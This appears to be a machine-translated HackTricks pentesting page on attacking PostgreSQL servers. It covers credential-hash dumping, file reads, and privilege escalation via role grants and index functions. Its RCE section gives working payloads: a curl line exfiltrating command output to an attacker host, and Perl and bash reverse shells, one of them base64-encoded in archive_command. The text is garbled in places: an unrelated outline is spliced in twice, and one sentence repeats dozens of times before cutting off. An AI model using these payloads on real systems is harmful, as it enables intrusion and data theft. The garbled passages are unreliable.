hacktricks/network-services-pentesting/pentesting-postgresql.md

47 KiB
Raw Blame History

5432,5433 - PostgreSQLのペンテスト


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法

基本情報

PostgreSQLは、オープンソースオブジェクトリレーショナルデータベースシステムとして説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張します。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。

デフォルトポート: 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート5433かもしれませんがPostgreSQLによって使用されます。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続と基本的な列挙

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} **\listを実行してrdsadmin**というデータベースが見つかった場合、AWSのPostgreSQLデータベース内にいることがわかります。 {% endhint %}

PostgreSQLデータベースを悪用する方法の詳細については、以下をチェックしてください:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

ポートスキャン

この研究によると、接続試行が失敗すると、dblinksqlclient_unable_to_establish_sqlconnection例外をスローし、エラーの説明が含まれます。これらの詳細の例は以下にリストされています。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • ホストがダウンしています

詳細: サーバーに接続できませんでした: ホストへのルートがありません ホスト「1.2.3.4」でサーバーが実行され、ポート5678でTCP/IP接続を受け入れていますか

  • ポートが閉じています
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • ポートが開いています
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
## PostgreSQL

### Enumeration

1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.

2. **Nmap Scripts**: Nmap has scripts that can help in enumerating PostgreSQL services. Use the following command:
   ```sh
   nmap -p 5432 --script postgresql-* <target>

Brute Forcing

  1. Hydra: Use Hydra to perform brute force attacks against PostgreSQL. Use the following command:
    hydra -L <userlist> -P <wordlist> -s 5432 -f <target> postgres
    

Exploitation

  1. Metasploit: Metasploit has modules for PostgreSQL exploitation. Search for relevant modules using:

    search postgres
    
  2. Manual Exploitation: Search for known vulnerabilities in the PostgreSQL version running and exploit them manually.

Post-Exploitation

  1. Privilege Escalation: Check for misconfigurations or vulnerabilities that could lead to privilege escalation on the PostgreSQL server.

  2. Data Extraction: Extract sensitive data from the PostgreSQL server using tools like pg_dump or by querying the database directly.

  3. Pivoting: Use the compromised PostgreSQL server as a pivot point to move laterally within the network.

```html
## PostgreSQL

### 列挙

1. **バナーの取得**: `nc` や `telnet` のようなツールを使用して PostgreSQL サービスに接続し、バナーを取得して実行しているバージョンを特定します。

2. **Nmap スクリプト**: Nmap には PostgreSQL サービスを列挙するのに役立つスクリプトがあります。次のコマンドを使用します:
   ```sh
   nmap -p 5432 --script postgresql-* <target>

ブルートフォース

  1. Hydra: Hydra を使用して PostgreSQL に対するブルートフォース攻撃を実行します。次のコマンドを使用します:
    hydra -L <userlist> -P <wordlist> -s 5432 -f <target> postgres
    

悪用

  1. Metasploit: Metasploit には PostgreSQL の悪用のためのモジュールがあります。次のコマンドを使用して関連するモジュールを検索します:

    search postgres
    
  2. 手動悪用: 実行中の PostgreSQL バージョンで既知の脆弱性を検索し、手動でそれらを悪用します。

ポスト悪用

  1. 特権昇格: PostgreSQL サーバーで特権昇格につながる可能性のある誤構成や脆弱性をチェックします。

  2. データ抽出: pg_dump のようなツールを使用したり、データベースに直接クエリを実行して PostgreSQL サーバーから機密データを抽出します。

  3. ピボット: 犠牲になった PostgreSQL サーバーをネットワーク内で横断移動するためのピボットポイントとして使用します。

DETAIL: FATAL: password authentication failed for user "name"

* ポートが開いているかフィルタリングされています

DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

## 特権の列挙

### ロール

| ロールの種類   |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | ロールにはスーパーユーザー権限があります                                                                                                             |
| rolinherit     | ロールは自動的に、そのメンバーであるロールの権限を継承します                                                                                           |
| rolcreaterole  | ロールは他のロールを作成できます                                                                                                                      |
| rolcreatedb    | ロールはデータベースを作成できます                                                                                                                    |
| rolcanlogin    | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます                                                             |
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。           |
| rolconnlimit   | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。                           |
| rolpassword    | パスワードではなく(常に `********` として表示されます)                                                                                               |
| rolvaliduntil  | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null                                                                  |
| rolbypassrls   | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
| rolconfig      | 実行時の構成変数のロール固有のデフォルト                                                                                                             |
| oid            | ロールの ID                                                                                                                                         |

#### 興味深いグループ

- もし **`pg_execute_server_program`** のメンバーであれば、プログラムを **実行** できます
- もし **`pg_read_server_files`** のメンバーであれば、ファイルを **読み取る** ことができます
- もし **`pg_write_server_files`** のメンバーであれば、ファイルを **書き込む** ことができます

{% hint style="info" %}
Postgresでは、**ユーザー**、**グループ**、**ロール** は **同じ** です。それは単に **どのように使用するか** と **ログインを許可するかどうか** に依存します。
{% endhint %}
```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テーブル

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

関数

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファイルシステムのアクション

ディレクトリとファイルの読み取り

このcommitから、定義された**DEFAULT_ROLE_READ_SERVER_FILESグループ(pg_read_server_filesと呼ばれる)のメンバーやスーパーユーザは、任意のパスでCOPY**メソッドを使用できます(genfile.cconvert_and_check_filenameをチェックしてください)。

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} スーパーユーザーではない場合でも、CREATEROLE 権限を持っていれば、そのグループのメンバーに自分自身を追加できます:

GRANT pg_read_server_files TO username;

詳細情報 {% endhint %}

他のPostgreSQL関数を使用してファイルを読み取るかディレクトリをリストすることができます。これらを使用できるのはスーパーユーザー明示的な権限を持つユーザーだけです。

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html

シンプルなファイル書き込み

copyを使用してファイルを書き込むには、スーパーユーザと**pg_write_server_files**のメンバーのみが使用できます。

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} スーパーユーザーではないが、CREATEROLE 権限を持っている場合、そのグループのメンバーに自分を追加できます:

GRANT pg_write_server_files TO username;

詳細はこちら {% endhint %}

COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、1行のコマンドを送信する必要があります
このテクニックの非常に重要な制限事項は、copyはバイナリファイルを書き込むために使用できないことです。

バイナリファイルのアップロード

ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!https://go.intigriti.com/hacktricksで参加し、今日から最大**$100,000**のバウンティを稼ぎましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

RCE

プログラムへのRCE

バージョン9.3から、RCEのためにCOPYを使用できるのはスーパーユーザーと**pg_execute_server_program**グループのメンバーだけです(例: 情報の外部への流出を伴う場合:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

例:実行する方法:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} スーパーユーザーではない場合でも、CREATEROLE 権限を持っていれば、そのグループのメンバーになることができます:

GRANT pg_execute_server_program TO username;

詳細情報 {% endhint %}

またはmetasploitmulti/postgres/postgres_copy_from_program_cmd_execモジュールを使用します。
この脆弱性に関する詳細はこちらで確認できます。CVE-2019-9193として報告されましたが、Postgesはこれを機能として修正しないことを宣言しました

PostgreSQL言語を使用したRCE

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

PostgreSQL拡張機能を使用したRCE

前の投稿からバイナリファイルのアップロード方法を学んだら、PostgreSQL拡張機能をアップロードして読み込むことでRCEを取得できます。

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

PostgreSQL構成ファイルRCE

PostgreSQLの構成ファイルデータベースを実行するpostgresユーザーによって書き込み可能であるため、スーパーユーザーとしてファイルをファイルシステムに書き込むことができ、したがってこのファイルを上書きできます。

ssl_passphrase_commandを使用したRCE

このテクニックに関する詳細はこちら

構成ファイルにはRCEにつながる興味深い属性があります:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' データベースの秘密鍵へのパス
  • ssl_passphrase_command = '' 秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
  • ssl_passphrase_command_supports_reload = off この属性がonの場合、キーがパスワードで保護されている場合にコマンドpg_reload_conf()実行されるときに実行されます。

その後、攻撃者は次の手順を踏む必要があります:

  1. サーバーから秘密鍵をダンプ
  2. ダウンロードした秘密鍵を暗号化:
    • rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  3. 上書き
  4. 現在のpostgresqlの構成をダンプ
  5. 上記の属性構成で構成上書き:
    • ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
    • ssl_passphrase_command_supports_reload = on
  6. pg_reload_conf()を実行

これをテストしてみたところ、秘密鍵ファイルが権限640である必要があり、rootが所有し、グループssl-certまたはpostgrespostgresユーザーが読み取れるようにであり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気付きました。

archive_commandを使用したRCE

WALに関するこの構成とこのテクニックについての詳細はこちら

構成ファイルの別の攻撃可能な属性はarchive_commandです。

これを機能させるには、archive_mode設定が'on'または'always'である必要があります。その場合、archive_commandのコマンドを上書きしてWAL先行ログ記録操作を介して実行することができます。

一般的な手順は次のとおりです:

  1. アーカイブモードが有効かどうかを確認: SELECT current_setting('archive_mode')
  2. ペイロードでarchive_commandを上書きします。たとえば、リバースシェル: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 構成を再読み込み: SELECT pg_reload_conf()
  4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出します: 一部のPostgresバージョンではSELECT pg_switch_wal()またはSELECT pg_switch_xlog()を使用します

Postgres Privesc

CREATEROLE Privesc

Grant

ドキュメントによると: CREATEROLE権限を持つロールは、スーパーユーザーでない任意のロールのメンバーシップを付与または取り消すことができます。

したがって、CREATEROLE権限がある場合、他のロール(スーパーユーザーでない)へのアクセス権を自分に付与し、ファイルの読み書きやコマンドの実行を可能にすることができます。

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワードの変更

このロールを持つユーザーは、他の非スーパーユーザーパスワード変更できます。

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

スーパーユーザへの昇格

ローカルユーザがパスワードを入力せずにPostgreSQLにログインできることが一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER**ロールを取得できます。

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} 通常、これは**pg_hba.conf**ファイル内の次の行によって可能になります:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE権限昇格

この解説では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで権限昇格が可能だった方法が説明されています。

通常、別のユーザーをテーブルの所有者にするという操作はエラーが発生して阻止されるはずですが、GCPではスーパーユーザーでないpostgresユーザーにそのオプションが与えられていたようです:

この考えをINSERT/UPDATE/ANALYZEコマンドがインデックス関数を持つテーブルで実行されると、関数コマンドの一部として呼び出されるという事実と結び付けると、テーブルの所有者権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 新しいテーブルを作成します。
  2. テーブルに関連性のないコンテンツを挿入して、インデックス機能にデータを提供します。
  3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドを実行できるようにします。
  4. テーブルの所有者を「cloudsqladmin」に変更し、これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを管理および維持するために独占的に使用されます。
  5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス機能が「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。

PostgreSQLでは、このフローは次のようになります

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

その後、shell_commands_results テーブルには実行されたコードの出力が含まれます。

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ローカルログイン

一部の設定ミスのあるPostgreSQLインスタンスでは、dblink関数を使用して、127.0.0.1からの任意のローカルユーザーのログインが許可される場合があります。

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} 前のクエリが機能するためには、dblink 関数が存在する必要があります。存在しない場合は、次のように作成してみることができます。

CREATE EXTENSION dblink;

{% endhint %}

特権を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

この関数が存在するかどうかを確認することができます:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

セキュリティデフィナーで定義されたカスタム関数

この解説では、IBMが提供するPostgresインスタンス内で、セキュリティデフィナーのフラグを持つこの関数を見つけたため、ペンテスターたちは権限昇格に成功しました。

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

ドキュメントで説明されているようにセキュリティデフィナーを持つ関数は、それを所有するユーザーの権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメーターで特権操作を行っている場合、Postgres内で権限昇格を悪用される可能性があります。

前述のコードの4行目で、関数にはセキュリティデフィナーフラグがあることがわかります。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そしてコマンドを実行してください:

PL/pgSQLを使用したパスワードブルートフォース

PL/pgSQLは、SQLと比較して手続き型制御が強化された完全な機能を備えたプログラミング言語です。これにより、ループや他の制御構造を使用してプログラムロジックを強化することができます。さらに、SQLステートメントトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

ロギング

postgresql.conf ファイルの中で、以下を変更して PostgreSQL ログを有効にできます:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

その後、サービスを再起動してください。

pgadmin

pgadmin は、PostgreSQLの管理および開発プラットフォームです。
pgadmin4.db ファイルの中にパスワードが見つかります。
スクリプト内の decrypt 関数を使用してそれらを復号化できます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

